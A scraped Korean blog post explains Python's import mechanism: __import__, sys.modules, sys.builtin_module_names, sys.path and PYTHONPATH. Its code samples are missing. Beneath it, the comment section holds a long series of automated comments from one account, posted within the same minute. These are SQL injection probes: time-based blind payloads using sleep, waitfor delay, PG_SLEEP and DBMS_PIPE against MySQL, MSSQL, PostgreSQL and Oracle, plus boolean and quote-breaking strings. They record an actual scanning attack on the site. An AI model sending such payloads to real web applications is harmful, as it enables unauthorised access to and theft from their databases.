python

Python 모듈에 관하여

by VICENTE97P4


Dec. 20, 2021, 2:07 p.m.


import


파이썬에서 모듈을 사용할 때 import 키워드를 사용합니다.


여기서 import 키워드는 사실 __import__ 라는 함수를 사용합니다. 

우리는 일반적으로 다음과 같이 모듈을 불러옵니다.


그럼 이번엔 __import__ 메서드로 불러와봅시다.


import 키워드와 정확하게 동일함을 확인할 수 있습니다.


불러온 모듈에 별칭을 부여할 때 as를 사용할 수 있습니다.



이번에는 __import__ 함수를 사용해봅시다.



이처럼 import는 파이썬 키워드이지만, __import__ 를 통해 접근하는 간단한 내부 함수이기도 합니다.


sys 모듈


sys 모듈은 파이썬과 파이썬을 실행 중인 운영체제 변수와 함수에 대한 액세스를 제공합니다.

이 모듈에는 파이썬 import 시스템에 대한 많은 정보가 들어있습니다.


sys.modules 변수를 사용하여 로드된 모듈 목록을 검색할 수 있습니다.

sys.modules 변수는 검색하는 모듈 이름이 key, 반환값이 모듈 객체인 딕셔너리입니다.

os 모듈을 불러와보겠습니다.



불러왔던 os 모듈과 itertools 모듈이 있음을 확인할 수 있습니다.

딕셔너리이므로 sys.modules.keys()를 호출하면 불러온 모듈 이름의 전체 목록을 반환합니다.



추가적으로 sys.builtin_module_names 변수를 사용하여 내장된 모듈 목록을 검색할 수도 있습니다.



import 경로


파이썬은 모듈을 불러올 때 경로 리스트로 모듈 위치를 찾습니다. 이 리스트는 sys.path 변수에 저장되어 있습니다.

sys.path를 입력하면 인터프리터가 모듈의 경로를 확인합니다.

이 리스트는 필요에 따라 경로를 추가하거나 제거해서 변경할 수도 있고,

PYTHONPATH 환경변수를 수정하여 파이썬 코드를 작성하지 않고 경로를 추가할 수도 있습니다.


sys.path에 경로 추가하기



PYTHONPATH 환경변수에 경로 추가하기


(UNIX의 경우 그냥 PYTHONPATH=\foo\bar 해주면 됩니다.)


요청한 모듈을 순서대로 검색하며 찾기 때문에 sys.path의 경로 순서는 중요합니다.

따라서 불러올 가능성이 높은 모듈이 있다면, 모듈을 포함한 경로를 리스트 앞부분에 두어

검색 시간을 단축할 수 있습니다.

만일 이름이 같은 두 모듈이 있다면, 첫 번째로 일치하는 항목이 선택됩니다.


다음 포스팅에서는 사용자 지정 불러오기에 대해 알아보겠습니다.

python    26   view  870
Log in and leave a comment
fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

0qsAUOsQ

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

*1

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

*1

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

*1

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

*1

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1 OR 2+561-561-1=0+0+0+1

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1 OR 3+561-561-1=0+0+0+1

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

*if(now()=sysdate(),sleep(15),0)

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1; waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1); waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1 waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

6rRJm1mE'; waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1 OR 843=(SELECT 843 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1) OR 531=(SELECT 531 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1)) OR 462=(SELECT 462 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

tlPupiow' OR 57=(SELECT 57 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

EudBwS3X') OR 123=(SELECT 123 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

sWhpubW4')) OR 696=(SELECT 696 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

'"

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

����%2527%2522\'\"

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

@@VEsJG

Updated: Feb. 22, 2025, 5:32 p.m.